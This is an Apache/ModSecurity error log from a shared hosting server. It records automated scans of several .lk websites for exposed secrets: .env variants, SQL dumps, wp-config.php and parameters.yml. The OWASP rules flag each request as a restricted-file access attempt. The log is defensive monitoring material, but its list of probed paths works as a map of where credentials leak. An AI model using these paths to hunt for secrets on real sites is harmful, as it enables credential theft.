[Fri Jul 17 08:28:04.579942 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaPA7FYe46zHK_jL3MTgAAABk"]
[Fri Jul 17 08:28:04.580118 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.580297 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPA7FYe46zHK_jL3MTgAAABk"]
[Fri Jul 17 08:28:04.585660 2026] [hostinglimits:warn] [pid 1996894:tid 1996894] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1996894) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.586874 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaPBAi3pC6yjXGNq19QwAAAAU"]
[Fri Jul 17 08:28:04.587035 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaPBAi3pC6yjXGNq19QwAAAAU"]
[Fri Jul 17 08:28:04.587276 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/.env.backup"] [unique_id "almaPBAi3pC6yjXGNq19QwAAAAU"]
[Fri Jul 17 08:28:04.587416 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.587543 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPBAi3pC6yjXGNq19QwAAAAU"]
[Fri Jul 17 08:28:04.591416 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.592629 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.660978 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.690309 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.inventory.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaPBAi3pC6yjXGNq19RAAAAAU"]
[Fri Jul 17 08:28:04.690642 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.inventory.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaPBAi3pC6yjXGNq19RAAAAAU"]
[Fri Jul 17 08:28:04.690795 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/e40e3009f8de9068f012620e057a763777b5f85c.sock|fcgi://inventory.jrdc.lk) HOSTNAME(www.inventory.jrdc.lk) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:04.690942 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPBAi3pC6yjXGNq19RAAAAAU"]
[Fri Jul 17 08:28:04.690992 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPBAi3pC6yjXGNq19RAAAAAU"]
[Fri Jul 17 08:28:04.691006 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.229.141.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPBAi3pC6yjXGNq19RAAAAAU"]
[Fri Jul 17 08:28:04.816135 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPON_HRgVfO4akvmJswAAABg"]
[Fri Jul 17 08:28:04.818315 2026] [security2:error] [pid 1993570:tid 1993570] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env"] [unique_id "almaPHjA8yK8B7kryx3hpQAAAAk"]
[Fri Jul 17 08:28:04.818544 2026] [security2:error] [pid 1993570:tid 1993570] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env"] [unique_id "almaPHjA8yK8B7kryx3hpQAAAAk"]
[Fri Jul 17 08:28:04.818961 2026] [security2:error] [pid 1993570:tid 1993570] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env"] [unique_id "almaPHjA8yK8B7kryx3hpQAAAAk"]
[Fri Jul 17 08:28:04.856820 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/dump.sql"] [unique_id "almaPFh1WDijTxd1xw5I4wAAAAc"]
[Fri Jul 17 08:28:04.857242 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/dump.sql"] [unique_id "almaPFh1WDijTxd1xw5I4wAAAAc"]
[Fri Jul 17 08:28:04.881698 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaPCBZZ4YwiWQXUfleBwAAACI"]
[Fri Jul 17 08:28:04.881942 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaPCBZZ4YwiWQXUfleBwAAACI"]
[Fri Jul 17 08:28:04.882298 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env.staging"] [unique_id "almaPCBZZ4YwiWQXUfleBwAAACI"]
[Fri Jul 17 08:28:04.884254 2026] [security2:error] [pid 2013829:tid 2013829] [client 98.89.33.80:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almaPA7FYe46zHK_jL3MUQAAABk"]
[Fri Jul 17 08:28:04.908402 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMYha5y5fYnQ1qRrvrgAAAAE"]
[Fri Jul 17 08:28:04.913680 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/dump.sql"] [unique_id "almaPFh1WDijTxd1xw5I4wAAAAc"]
[Fri Jul 17 08:28:04.981409 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPAPhWp7RzB65h36ezAAAAA0"]
[Fri Jul 17 08:28:04.985912 2026] [proxy_fcgi:error] [pid 2013828:tid 2013828] [client 100.54.47.241:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:28:04.999268 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaPI1dLClkUfK_dfHhegAAAAI"]
[Fri Jul 17 08:28:04.999589 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaPI1dLClkUfK_dfHhegAAAAI"]
[Fri Jul 17 08:28:04.999980 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaPI1dLClkUfK_dfHhegAAAAI"]
[Fri Jul 17 08:28:05.115723 2026] [security2:error] [pid 1993715:tid 1993715] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPHRlmrtCoY_COpcijAAAAAg"]
[Fri Jul 17 08:28:05.158062 2026] [security2:error] [pid 2013829:tid 2013829] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaPQ7FYe46zHK_jL3MUgAAABk"]
[Fri Jul 17 08:28:05.158392 2026] [security2:error] [pid 2013829:tid 2013829] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaPQ7FYe46zHK_jL3MUgAAABk"]
[Fri Jul 17 08:28:05.158939 2026] [security2:error] [pid 2013829:tid 2013829] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env.production"] [unique_id "almaPQ7FYe46zHK_jL3MUgAAABk"]
[Fri Jul 17 08:28:05.393723 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaPY1dLClkUfK_dfHhewAAAAI"]
[Fri Jul 17 08:28:05.394001 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaPY1dLClkUfK_dfHhewAAAAI"]
